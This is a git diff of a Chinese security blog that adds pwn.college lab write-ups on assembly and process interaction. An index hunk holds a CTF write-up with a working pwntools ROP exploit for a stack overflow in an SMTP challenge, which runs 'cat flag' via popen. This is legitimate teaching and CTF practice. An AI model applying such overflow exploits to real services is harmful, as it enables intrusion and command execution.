diff --git "a/2023/10/07/\350\207\252\346\210\221\347\232\204\345\274\261\347\202\271/index.html" "b/2023/10/07/\350\207\252\346\210\221\347\232\204\345\274\261\347\202\271/index.html" index 89d567c..beaf39d 100644 --- "a/2023/10/07/\350\207\252\346\210\221\347\232\204\345\274\261\347\202\271/index.html" +++ "b/2023/10/07/\350\207\252\346\210\221\347\232\204\345\274\261\347\202\271/index.html" @@ -18,7 +18,7 @@ }

自我的弱点

First Post:

Last Update:

我最悲哀的地方莫过于自己目光短浅与性格怯懦。

现代人的孤独和国家制度的不完善造就了当下社会的哥布林。

记于:2023-10-7

-

PWN College CSE 466 - Assembly Crash Course

First Post:

Last Update:

level1

1
2
.section .text
mov $0x1337,%rdi
+ +
1
2
3
as -o asm.o asm.S
objcopy -O binary --only-section=.text asm.o asm.bin
cat ./asm.bin | /challenge/run
+ +

level2

1
2
.section .text
add $0x331337,%rdi
+ +

level3

1
2
3
4
.section .text
imul %rsi,%rdi
add %rdx,%rdi
mov %rdi,%rax
+ +

level4

1
2
3
.section .text
mov %rdi,%rax
divq %rsi
+ +

level5

1
2
3
4
.section .text
mov %rdi,%rax
divq %rsi
mov %rdx,%rax
+ +

level6

1
2
3
.section .text
movb %dil, %al
movw %si, %bx
+ +

level7

1
2
3
4
.section .text
shl $24,%rdi
shr $56, %rdi
mov %rdi,%rax
+ +

level8

1
2
3
4
.section .text
xor %rax,%rax
and %rdi,%rsi
xor %rsi,%rax
+ +

level9

1
2
3
4
5
.section .text
xor %rax,%rax
and $1,%rdi
xor %rdi,%rax
xor $1,%rax
+ +

level10

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context.arch="amd64"
context.log_level="debug"
sc="""
mov rax,[0x404000]
mov rdi,rax
add rdi,0x1337
mov byte ptr[0x404000],rdi
"""
p=process("/challenge/run")

p.send(asm(sc))
p.interactive()
+ +

level11

1
2
3
4
mov al,byte ptr[0x404000]
mov bx,word ptr[0x404000]
mov ecx,dword ptr[0x404000]
mov rdx,qword ptr[0x404000]
+ +

level12

1
2
3
4
mov rax,0xdeadbeef00001337
mov qword ptr[rdi],rax
mov rax,0xc0ffee0000
mov qword ptr[rsi],rax
+ +

level13

1
2
3
4
mov rax,[rdi]
mov rbx,[rdi+8]
add rax,rbx
mov [rsi],rax
+ +

level15

1
2
3
pop rax
sub rax,rdi
push rax
+ +

level16

1
2
3
4
5
6
7
mov rax,[rsp]
add rax,[rsp+8]
add rax,[rsp+16]
add rax,[rsp+24]
mov rbx,4
div rbx
push rax
+ +

level17

1
2
3
4
5
6
7
8
sc="""
jmp $+0x53
"""+"""nop
"""*0x51+"""
pop rdi
mov rax,0x403000
jmp rax
"""
+ +

level18

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
mov eax,dword ptr [rdi]
cmp rax,0x7f454c46
jne case2
mov eax,dword ptr [rdi+4]
add eax,dword ptr [rdi+8]
add eax,dword ptr [rdi+12]
jmp out
case2:
cmp eax,0x00005A4D
jne case3
mov eax,dword ptr [rdi+4]
sub eax,dword ptr [rdi+8]
sub eax,dword ptr [rdi+12]
jmp out
case3:
mov eax,dword ptr [rdi+4]
mov ebx,dword ptr [rdi+8]
mul ebx
mov ebx,dword ptr [rdi+12]
mul ebx
+ +

level19

1
2
3
4
5
6
7
8
xor rax,rax
cmp rdi,3
jbe tcase
mov rax,qword ptr[rsi+8*4]
jmp rax
tcase:
mov rax,qword ptr[rsi+8*rdi]
jmp rax
+ +

level20

1
2
3
4
5
6
7
8
9
10
xor rax,rax
xor rcx,rcx
mov rbx,rsi
loop:
sub rbx,1
mov rcx,qword ptr [rdi+rbx*8]
add rax,rcx
cmp rbx,0
jne loop
div rsi
+ +

level21

1
2
3
4
5
6
7
8
9
10
11
mov rax,0
cmp rdi,0
je done
mov rsi,-1
loop:
add rsi,1
mov rbx,[rdi+rsi]
cmp rbx,0
jne loop
mov rax,rsi
done:
+ +

level22

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
mov rax,0
mov rsi,rdi
cmp rsi,0
je done
loop:
mov bl,[rsi]
cmp bl,0
je done
cmp bl,90
ja next
mov dil,bl
mov rdx,rax
mov rcx,0x403000
call rcx
mov [rsi],al
mov rax,rdx
add rax,1
next:
add rsi,1
jmp loop
done:
ret
+ +

level23

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
push 0
mov rbp,rsp

mov rax,-1
sub rsi,1
sub rsp,rsi
loop1:
add rax,1
cmp rax,rsi
jg next
mov rcx,0
mov cl,[rdi+rax]
mov r11,rbp
sub r11,rcx
mov dl,[r11]
add dl,1
mov [r11],dl
jmp loop1

next:
mov rax,0
mov rbx,rax
mov rcx,rax
mov ax,-1
loop2:
add ax,1
cmp ax,0xff
jg return
mov r11,rbp
sub r11,rax
mov dl,[r11]
cmp dl,bl
jle loop2
mov bl,dl
mov cl,al
jmp loop2

return:
mov rax,rcx
mov rsp,rbp
pop rbx
ret
+
\ No newline at end of file diff --git a/2023/10/08/Program Interaction/index.html b/2023/10/08/Program Interaction/index.html new file mode 100644 index 0000000..8e486fc --- /dev/null +++ b/2023/10/08/Program Interaction/index.html @@ -0,0 +1,169 @@ +PWN College CSE 466 - Program Interaction | TokameinE - 雨声淅淅沥沥,犬吠永不止息

PWN College CSE 466 - Program Interaction

First Post:

Last Update:

level1

第一关就被卡了好久:

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <unistd.h>
void pwncollege(char* argv[],char *env[]){
        char *newenv[]={NULL};
        execve("/challenge/embryoio_level1",newenv,env);
        return ;
}

int main(int argc,char* argv[],char* env[]){
        pid_t fpid;
        fpid=fork();
        if(fpid<0)
                printf("error in fork!\n");
        else if (fpid==0){
                printf("我是子进程\n");
                pwncollege(argv,env);
        }
        else{
                printf("我是父进程\n");
                wait(NULL);
        }
        return 0;
}
+ +

但其实不用这么写也可以,只是因为我习惯在 vscode 给的 terminal 里运行程序,所以它会主动去穿一些参数。但如果用 VNC 连的桌面开一个 bash 就可以直接运行程序给的题目二进制了。

+

level2/3/4

直接运行给个参数就行了。4需要给个环境变量再运行

+

level5

重定向输入:

+
1
./embryoio_level5 < /tmp/inujwj
+ +

level6

重定向输出:

+
1
./embryoio_level6 > /tmp/tzdetd
+ +

level7

无环境变量去运行该程序。写一个程序调用 execve 去跑目标程序,不过要编译为 bash:

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <unistd.h>
void pwncollege(char* argv[],char *env[]){
        char *newenv[]={NULL};
        execve("/challenge/embryoio_level1",newenv,newenv);
        return ;
}

int main(int argc,char* argv[],char* env[]){
        pid_t fpid;
        fpid=fork();
        if(fpid<0)
                printf("error in fork!\n");
        else if (fpid==0){
                printf("我是子进程\n");
                pwncollege(argv,env);
        }
        else{
                printf("我是父进程\n");
                wait(NULL);
        }
        return 0;
}
+ +

level8/9/10/11/12/13

写个脚本然后运行程序即可。

+

level14

脚本里写:

+
1
env -i /challenge/embryoio_level14
+ +

level22

1
2
import subprocess
subprocess.run("/challenge/embryoio_level22")
+ +

level23/24/25/26/27

基本不变

+

level28

1
2
3
#env -i python3 sc.py
import subprocess
subprocess.run(["/challenge/embryoio_level28])
+ + +

level29

要求用 fork 开子进程然后调用文件,套一下之前的代码:

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h>
#include <unistd.h>

void pwncollege(char* argv[],char *env[]){
        char *newenv1[]={'bash',"/home/hacker/Desktop/sc.sh",NULL};
        char *newenv2[]={NULL};
        execve("/challenge/embryoio_level29",newenv2,newenv2);
        return ;
}

int main(int argc,char* argv[],char* env[]){
        pid_t fpid;
        fpid=fork();
        if(fpid<0)
                printf("error in fork!\n");
        else if (fpid==0){
                printf("我是子进程\n");
                pwncollege(argv,env);
        }
        else{//fpid==1的是父进程
                printf("我是父进程\n");
                wait(NULL);
        }
        return 0;
}
+ +

level30/31/32/33/34/35

基本套用给上一个脚本

+

level36

程序和上一个基本一样,但是把输出用管道符传给 cat:

+
1
./bash | cat
+ +

level37

1
./bash | grep "pwn"
+ +

level40

要求重定向 stdin 并通过管道符给程序,并且还要求用 cat。不过 cat 如果有目标文件直接就结束退出了,但是单输入一个 cat 会让程序挂起,然后就可以输入了:

+
1
cat | ./bash
+ +

level42/44

基本同上。

+

level47

有点麻烦,rev 在无参的情况下看起来和 cat 差不多,但是这次却没成功,于是写了个程序命名为 rev 然后去传参:

+
1
2
3
4
5
6
7
#include<stdio.h>
#include<stdlib.h>
int main()
{
    printf("%s\n","cfijsyko");
    sleep(5);
}
+ +

程序结束后会吐出 flag

+

level54/56/58

用 python 重复上面的操作

+

level60/61/65

这次又换会用 fork 去启了,操作不变。

+

level66

要求用 find 去启动程序:

+
1
find "/challenge/embryoio_level66" -exec {} \;
+ +

level68

要求给很多参数,直接复制粘贴强行突破了。

+

不过好像有更简单的方式:

+
1
/challenge/embryoio_level68 `printf ' godxqtxpvg%0.s' {1..284}`
+ + +

level71

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h>
#include <unistd.h>
void pwncollege(char* argv[],char *env[]){
        char *newenv1[400]={"bash","sc.sh",NULL};
        char *newenv2[]={"195=zyzycfyyds",0};
        execve("/challenge/embryoio_level71",argv,newenv2);
        return ;
}

int main(int argc,char* argv[],char* env[]){
        pid_t fpid;
        pwncollege(argv,env);
        fpid=fork();
        if(fpid<0)
                printf("error in fork!\n");
        else if (fpid==0){
                printf("我是子进程\n");
                pwncollege(argv,env);
        }
        else{
                printf("我是父进程\n");
                wait(NULL);
        }
        return 0;
}
+ +

level72

先进目录,然后用 bash 跑脚本,并重定向即可:

+
1
/tmp/rdsjif$ bash /home/hacker/Desktop/sc.sh < abjvbe
+ +

level73

有点麻烦,最后是这样搞定的:

+
1
2
#sc.sh
cd /tmp/gngyds;exec /challenge/embryoio_level73
+ +
1
2
#sc2.sh
bash sc.sh
+ +
1
bash -c "bash sc2.sh"
+ +

level74

1
2
3
4
5
import subprocess
ar=["/challenge/embryoio_level74"]
for i in range(200):
    ar.append("xkxnlfngaa")
subprocess.run(ar)
+ +

level77

1
2
3
4
5
6
7
8
import subprocess
import os
ar=["/challenge/embryoio_level77"]
for i in range(200):
    ar.append("xhgzegeywm")
os.environ.clear()
os.environ["185"]="pfqthebkev"
subprocess.run(ar)
+

level79

也是换个目录,不过这次是 python 版本:

+
1
2
3
4
import subprocess
import os
ar=["/challenge/embryoio_level79"]
subprocess.call(ar,cwd="/tmp/wnufru")
+ +

level80

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <unistd.h>
#include<stdlib.h>
void pwncollege(char* argv[],char *env[]){
        char *newenv1[400]={"/challenge/embryoio_level80",NULL};
        for(int i=1;i<100;i++)
        {
                newenv1[i]="oikeqbtrns";
        }
        char *newenv2[]={0};
        execve("/challenge/embryoio_level80",newenv1,newenv2);
        return ;
}
int main(int argc,char* argv[],char* env[]){
        pid_t fpid;
        fpid=fork();
        if(fpid<0)
                printf("error in fork!\n");
        else if (fpid==0){
                printf("我是子进程\n");
                pwncollege(argv,env);
        }
        else{
                printf("我是父进程\n");
                wait(NULL);
        }
        return 0;
}
+ +

level83

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <unistd.h>
#include<stdlib.h>
void pwncollege(char* argv[],char *env[]){
        char *newenv1[400]={"/challenge/embryoio_level80",NULL};
        for(int i=1;i<300;i++)
        {
                newenv1[i]="vfnrjapwqf";
        }
        char *newenv2[]={"151=mzjtmpkgda",0};
        execve("/challenge/embryoio_level83",newenv1,newenv2);
        return ;
}
int main(int argc,char* argv[],char* env[]){
        pid_t fpid;
        fpid=fork();
        if(fpid<0)
                printf("error in fork!\n");
        else if (fpid==0){
                printf("我是子进程\n");
                pwncollege(argv,env);
        }
        else{
                printf("我是父进程\n");
                wait(NULL);
        }
        return 0;
}
+ +

level85

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>
#include <unistd.h>
#include<stdlib.h>
void pwncollege(char* argv[],char *env[]){
        chdir("/tmp/uejsun");
        execve("/challenge/embryoio_level85",argv,env);
        return ;
}



int main(int argc,char* argv[],char* env[]){
        pid_t fpid;
        fpid=fork();
        if(fpid<0)
                printf("error in fork!\n");
        else if (fpid==0){
                printf("我是子进程\n");
                pwncollege(argv,env);
        }
        else{
                printf("我是父进程\n");
                wait(NULL);
        }
        return 0;
}
+ +

level86

脚本跑起来之后输入数字即可

+

level87

不会写脚本,直接手撸了,还好不多

+

level88/89

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>
#include <unistd.h>
#include<stdlib.h>
void pwncollege(char* argv[],char *env[]){
        char *newenv1[400]={"/tmp/rciroo",NULL};
        execve("/challenge/embryoio_level88",newenv1,env);
        return ;
}

int main(int argc,char* argv[],char* env[]){
        pid_t fpid;
        fpid=fork();
        if(fpid<0)
                printf("error in fork!\n");
        else if (fpid==0){
                printf("我是子进程\n");
                pwncollege(argv,env);
        }
        else{
                printf("我是父进程\n");
                wait(NULL);
        }
        return 0;
}
+ +

level94

先创建一个 fd=70 的描述符,然后读重定向给 stdin:

+
1
2
3
4
$cat sc2.sh
wvrrmdmh
$exec 70<sc2.sh
$bash sc.sh 0<&70
+ +

level97

1
2
bash sc.sh
kill -SIGUSR2 2346
+ +

level99

python 启动后做个计算就行了。

+

level100

1
2
3
4
5
6
7
8
9
from pwn import *
p=process("/challenge/embryoio_level100")

for i in range(5):
    p.recvuntil("CHALLENGE! Please send the solution for: ")
    data=p.recv()
    p.sendline(str(eval(data)))

p.interactive()
+ +

level102

注意,这里的 sleep 是必须的,因为父进程提前结束会让子进程被根进程接管,导致父进程不是 python,过不去题目的检查:

+
1
2
3
4
5
6
7
8
9
import os
import time
pid = os.fork()
if pid > 0:
    print("父进程,子进程的PID:", pid)
    time.sleep(5)
else:
    print("子进程,父进程的PID:", os.getppid())
    os.execve('/challenge/embryoio_level102', ['jvuwqe'], {})
+ +

level103

fifo 管道的使用。

+
1
2
mkfifo testf
echo ndvbtdxa > testf
+ +

另外开个窗口用 python 去跑程序:

+
1
python3 sc.py < testf
+ +

level104/105

104 跟上一题差不多,就是重定向一下输出而已。105 就是把两个都重定向一下

+

level106

和前面的有点不太一样。先写个 python 去跑程序:

+
1
2
3
4
5
import subprocess

fd1=open("testf","r")
fd2=open("testf2","w")
p=subprocess.run("/challenge/embryoio_level106",stdin=fd1,stdout=fd2)
+ +

然后另外开一个终端:

+
1
2
cat < testf2 &
cat > testf
+ +

这里不能把重定向去掉,比如另外开两个终端分别去 cat 管道文件:

+
1
2
cat testf2
cat testf
+ +

这会导致阻塞。看起来像是文件,但实际使用还是要用重定向的方式去用。

+

level107

1
2
3
4
5
6
7
import subprocess
import os
import time
from pwn import *
context.log_level="debug"
fd=os.dup2(102,102)
p=subprocess.run("/challenge/embryoio_level107",stdin=102,pass_fds=[0,1,2,102])
+ +

level110

正常启动,然后另外调用 kill 杀掉就行了。

+

level112/113/115/117/118

正常启动就行了,基本上跟之前的操作一样,不过 113 几个算术题另外拿 python 算了一下。

+

level120

换个新方法:

+
1
2
3
4
5
void pwncollege(char* argv[],char *env[]){
        dup2(0,103);
        execve("/challenge/embryoio_level120",argv,env);
        return ;
}
+ +

level123

跟之前差不多。

+

level126

要求是脚本执行,但是不会写 bash 所以用通道的方法转给 python 去解决。

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
f1=open("./testf","rb")
f2=open("./testf2","wb")
sum=0
for i in range(6):
    f1.readline()

for i in range(3000):
    s=f1.readline()
    if sum >=500:
        print(s)
        print(f1.read())
        break
    index=s.find(b": ")
    if index != -1:
        sum+=1
        t1=s[index+2:-1]
        t2=eval(t1)
        print("%d : %d"%(sum,t2))
        f2.write(b"%d\n"%t2)
        f2.flush()
+ +

level128

500 个信号,偷个懒,把列表抄过来直接跑:

+
1
2
3
4
5
6
import os
import subprocess
sig=['SIGABRT', 'SIGUSR1', 'SIGUSR1', 'SIGUSR2', 'SIGABRT',
for i in sig:
    code="kill "+"-"+i[3:]+" 5590"
    subprocess.run(code,shell=True)
+ + +

不过不知道为什么这道题没办法用上一题的 fifo 文件去传输出,有点奇怪

+

level131

1
2
3
4
5
6
7
from pwn import *

p=process("/challenge/embryoio_level131")
for i in range(500):
    p.recvuntil("Please send the solution for: ")
    p.sendline(str(eval(p.recv())))
p.interactive()
+ +

level133

照搬上面

+

level136

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
fd1=open("testf","r")
fd2=open("testf2","w")
for i in range(6):
    fd1.readline()
sum =1

for i in range(3000):
    line=fd1.readline()
    if sum>500:
        print(line)
        for i in range(5):
            print(fd1.readline())
        break
    if "Please send the solution for: " in line:
        temp=line.split(": ")[1]
        res=eval(temp)
        fd2.write(str(res)+"\n")
        fd2.flush()
        print(str(sum)+":"+str(res))
        sum+=1
    else:
        print(line)
+ +

level138

套脚本

+

level140

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#define SERVER_IP "0.0.0.0"
#define SERVER_PORT 1210
#define BUFFER_SIZE 1024
int main() {
int sockfd;
struct sockaddr_in server_addr;
char buffer[BUFFER_SIZE];
char ans[BUFFER_SIZE];
// 创建套接字
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd == -1) {
perror("socket");
exit(EXIT_FAILURE);
}

// 设置服务器地址
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = inet_addr(SERVER_IP);
server_addr.sin_port = htons(SERVER_PORT);

// 连接到服务器
if (connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) == -1) {
perror("connect");
exit(EXIT_FAILURE);
}

while(1)
{
memset(buffer, 0, BUFFER_SIZE);
if (recv(sockfd, buffer, BUFFER_SIZE, 0) == -1) {
perror("recv");
exit(EXIT_FAILURE);
}
if(strlen(buffer)>0)
{
printf("Received: %s\n", buffer);
if(!memcmp("[TEST] CHALLENGE! Please send the solution",buffer,strlen(("[TEST] CHALLENGE! Please send the solution"))))
{

memset(ans, 0, BUFFER_SIZE);
read(0,ans,BUFFER_SIZE);
if (send(sockfd, ans, strlen(ans), 0) == -1) {
perror("send");
exit(EXIT_FAILURE);
}
}

}
}
close(sockfd);
return 0;
}
+ +

level141

手撸:

+
1
2
3
from pwn import *
p=remote("0.0.0.0",1321)
p.interactive()
+ +

level142

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <string.h>
#define SERVER_IP "0.0.0.0"
#define SERVER_PORT 1719
#define BUFFER_SIZE 1024
int pwncollege();
int main()
{
pwncollege();
}

int pwncollege() {
int sockfd;
struct sockaddr_in server_addr;
char buffer[BUFFER_SIZE];
char ans[BUFFER_SIZE];
// 创建套接字
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd == -1) {
perror("socket");
exit(EXIT_FAILURE);
}

// 设置服务器地址
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = inet_addr(SERVER_IP);
server_addr.sin_port = htons(SERVER_PORT);

// 连接到服务器
if (connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) == -1) {
perror("connect");
exit(EXIT_FAILURE);
}

while(1)
{
memset(buffer, 0, BUFFER_SIZE);
if (recv(sockfd, buffer, BUFFER_SIZE, 0) == -1) {
perror("recv");
exit(EXIT_FAILURE);
}
if(strlen(buffer)>0)
{
printf("Received: %s\n", buffer);
if(!memcmp("[TEST] CHALLENGE! Please send the solution",buffer,strlen(("[TEST] CHALLENGE! Please send the solution"))))
{

memset(ans, 0, BUFFER_SIZE);
read(0,ans,BUFFER_SIZE);
if (send(sockfd, ans, strlen(ans), 0) == -1) {
perror("send");
exit(EXIT_FAILURE);
}
}

}
}
close(sockfd);
return 0;
}
+
\ No newline at end of file diff --git a/about/index.html b/about/index.html index 78b940b..d426c06 100644 --- a/about/index.html +++ b/about/index.html @@ -53,7 +53,7 @@

版权注:若只是引用学习笔记中的内容,只需要在文章内附带原文链接即可。

所有学习笔记均采用「署名-非商业性使用-相同方式共享 4.0 国际」许可协议进行许可。其他内容请务必联系管理员详谈。

网站大多插图均来自网络,侵删致歉

-
\ No newline at end of file diff --git a/archives/index.html b/archives/index.html index 62bfc01..2f71aea 100644 --- a/archives/index.html +++ b/archives/index.html @@ -15,7 +15,7 @@ }
\ No newline at end of file diff --git "a/categories/C-\346\225\260\346\215\256\347\273\223\346\236\204/index.html" "b/categories/C-\346\225\260\346\215\256\347\273\223\346\236\204/index.html" index ee0487e..57be097 100644 --- "a/categories/C-\346\225\260\346\215\256\347\273\223\346\236\204/index.html" +++ "b/categories/C-\346\225\260\346\215\256\347\273\223\346\236\204/index.html" @@ -15,7 +15,7 @@ }
\ No newline at end of file diff --git "a/categories/Ptmalloc2\345\206\205\345\255\230\347\256\241\347\220\206/index.html" "b/categories/Ptmalloc2\345\206\205\345\255\230\347\256\241\347\220\206/index.html" index 38454a2..9d41ea0 100644 --- "a/categories/Ptmalloc2\345\206\205\345\255\230\347\256\241\347\220\206/index.html" +++ "b/categories/Ptmalloc2\345\206\205\345\255\230\347\256\241\347\220\206/index.html" @@ -15,7 +15,7 @@ }
\ No newline at end of file diff --git a/search.json b/search.json index 6d7ba12..4a70c28 100644 --- a/search.json +++ b/search.json @@ -1 +1 @@ -[{"title":"2022美团MT-CTF复现报告-TokameinE","url":"/2022/09/20/2022-mt-ctf/","content":"REsmall题目本身不难,也没什么内容。但是我似乎没办法在本地运行它,并且也没办法反编译,所以只能静态分析汇编代码逻辑了。\nIDA 打开以后没有识别到代码,所以手动将所有数据反编译以后筛出代码部分就能找到主要逻辑了。\n不过代码似乎还加了花指令,我自己懒得手动 patch 中间的内容了,就纯读汇编代码。不过好在程序确实很小,中心逻辑非常少,tea 加密的相关汇编代码总共还没 30 行估计,马上就能看出来,然后写一些解密就行了:\n#include<stdio.h>#include<stdlib.h>#include <cstdint>void decrypt(uint32_t* v, uint32_t* k) { uint32_t v0 = v[0], v1 = v[1], sum = 0x67452301 * 35, i; uint32_t delta = 0x67452301; uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; for (i = 0; i < 35; i++) { v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3); v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1); sum -= delta; } v[0] = v0; v[1] = v1;}int main(){ unsigned char ida_chars1[] = { 0x43, 0x71, 0x08, 0xDE, 0xD2, 0x1B, 0xF9, 0xC4, 0xDC, 0xDA, 0xF6, 0xDA, 0x4C, 0xD5, 0x9E, 0x6D, 0xE7, 0x4E, 0xEB, 0x75, 0x04, 0xDC, 0x1D, 0x5D, 0xD9, 0x0F, 0x1B, 0x51, 0xFB, 0x88, 0xDC, 0x51 }; uint32_t ida_chars[8]; for (int i = 0; i < 8; i++) { ida_chars[i] = *((uint32_t*)ida_chars1 + i); } uint32_t key[4] = { 0x1,0x23,0x45,0x67 }; decrypt(ida_chars, key); decrypt(ida_chars+2, key); decrypt(ida_chars + 4, key); decrypt(ida_chars + 6, key); char* k = (char*)ida_chars; for (int i = 0; i < 32; i++) { printf("%c", *(k + i)); }}\n\nstatic没复现,看了一下发现是 aes+xxtea ,另外还有 z3 解方程什么的,感觉分析量很大,已经超出 pwn 手的需求范围了,就没复现了。\nPWNSMTP比赛的时候没能做出来,当时一直懒得去调试这道题,所以到最后都没验证漏洞是否存在,然后在赛后陷入无尽的后悔,寄。\n关键代码其实并不大,哪怕是走 fuzz 都应该能找到溢出点:\nvoid *__cdecl sender_worker(const char **a1){ char s[256]; // [esp+Ch] [ebp-10Ch] BYREF const char **v3; // [esp+10Ch] [ebp-Ch] puts("sender: starting work"); v3 = a1; len = strlen(a1[1]); puts("sender: sending message...."); printf("sender: FROM: %s\\n", *a1); if ( strlen(*a1) <= 0x4F ) strcpy(from, *v3); if ( len <= 0xFFu ) { printf("sender: TO: %s\\n", v3[1]); } else { memset(s, 0, sizeof(s)); strcpy(s, v3[1]);// <--------------溢出 printf("sender: TO: %s\\n", s); } puts("sender: BODY:"); if ( v3[2] ) printf("%s", v3[2]); else puts("No body."); putchar(10); puts("sender: finished"); return 0;}\n\n可以明显的看出,在调用 strcpy 时并没有检查字符串的长度,如果 v3[1] 的长度超过了 256 就能造成栈溢出了。\n先检查一下程序的保护:\nArch: i386-32-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x8048000)\n\n没有 PIE 的情况下,栈溢出能直接写 ROP 劫持程序流了,因此向上去跟一下 v3[1] 的源头:\nint __cdecl session_submit(_DWORD *a1){ pthread_t newthread[2]; // [esp+Ch] [ebp-Ch] BYREF printf("session %d: received message '%s'\\n", *a1, *(a1[4] + 8)); printf("session %d: handing off message to sender\\n", *a1); return pthread_create(newthread, 0, sender_worker, a1[4]);}\n\n最后根据参数可以确定出这段内容:\ncase 2: if ( v35[1] != 2 && v35[1] != 3 ) goto LABEL_41; v35[1] = 3; v14 = v35[4]; *(v14 + 4) = strdup(*(ptr + 1)); v15 = strlen(server_replies[0]); send(fd, server_replies[0], v15, 0); printf("session %d: state changed to got receipients\\n", fd); break;\n\n此处它将 RCPT TO: 后的数据放入到 *(v14 + 4) 处,我们用一段很长的数据来测试一下是否会引发崩溃:\nfrom pwn import *p = remote('127.0.0.1',9999)elf=ELF("./pwn")p.sendafter('220 SMTP tsmtp\\n','HELO toka')p.sendafter('250 Ok\\n',"MAIL FROM:toka")p.sendafter("250 Ok\\n",b"RCPT TO:"+b"a"*0x104)p.sendafter('250 Ok\\n','DATA')p.sendafter(".<CR><LF>\\n",b".\\r\\n" + b"fxxk")p.interactive()\n\n而在服务端那边,我们确实成功触发了 core dump :\nsender: TO: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasender: BODY:Segmentation fault (core dumped)\n\n那么接下来就是构造 ROP 把 flag 带出来了:\nfrom pwn import *p = remote('127.0.0.1',9999)elf=ELF("./pwn")p.sendafter('220 SMTP tsmtp\\n','HELO toka')p.sendafter('250 Ok\\n',"MAIL FROM:cat flag >&5;r\\x00")payload=b"a"*0x100+p32(0x804d1d0)+b'a'*0xc+p32(elf.plt["popen"])+b'dead'+p32(0x804d140)+p32(0x804d14c+1)p.sendafter("250 Ok\\n",b"RCPT TO:"+payload)p.sendafter('250 Ok\\n','DATA')p.sendafter(".<CR><LF>\\n",b".\\r\\n" + b"fxxk")p.interactive()\n\n看了一下其他师傅的 wp,发现它们不是通过 OR+Send 的链条写回 flag,而是通过 popen 执行 cat flag>&5 来直接执行指令,并将该指令的输出绑定到 fd=5,这确实比构造很长了 ROP 要来的优雅。\n另外,由于程序是 32 位的,一些数据是通过栈进行传参的,比方说:\nif ( v3[2] ) printf("%s", v3[2]);\n\n它对应的汇编如下:\n.text:08049AC8 8B 45 F4 mov eax, [ebp-0x0c].text:08049ACB 8B 40 08 mov eax, [eax+8].text:08049ACE 85 C0 test eax, eax.text:08049AD0 74 1B jz short loc_8049AED\n\n如果在 strcpy 处覆盖返回地址,还需要保证 ebp-0x0c 处的内存能够访问,否则会引发崩溃。\n捉迷藏去年的 SCTF2021 遇到了一道名为 ret2text 的题目,和这题非常相似,都是程序体积较大,执行流较多,输入也挺多的,而且每个分支前面还有各自各样的运算和判断,即便找到了溢出点,也会苦于不知道该如何输入才能让程序走到那里。\n而这次的题目和 SCTF 还不太一样,它的附件不会变化,因此如果不嫌麻烦,手算一下输入或许也能搞定,但 SCTF 的时候,每次 nc 过去的附件都不一样,而且超过一定世界会自动断连,所以必须要用自动化分析工具在一次连接内搞定。\n由于程序的输入很多,为了加快进度可以写一下函数 hook 来替换输入:\nclass ReplacementCheckEquals(angr.SimProcedure): def run(self, str1, str2): cmp1 = angr_load_str(self.state, str2).encode("ascii") cmp0 = self.state.memory.load(str1, len(cmp1)) self.state.regs.rax = claripy.If(cmp1 == cmp0, claripy.BVV(0, 32), claripy.BVV(1, 32))class ReplacementCheckInput(angr.SimProcedure): def run(self, buf, len): len = self.state.solver.eval(len) self.state.memory.store(buf, getBVV(self.state, len))class ReplacementInputVal(angr.SimProcedure): def run(self): 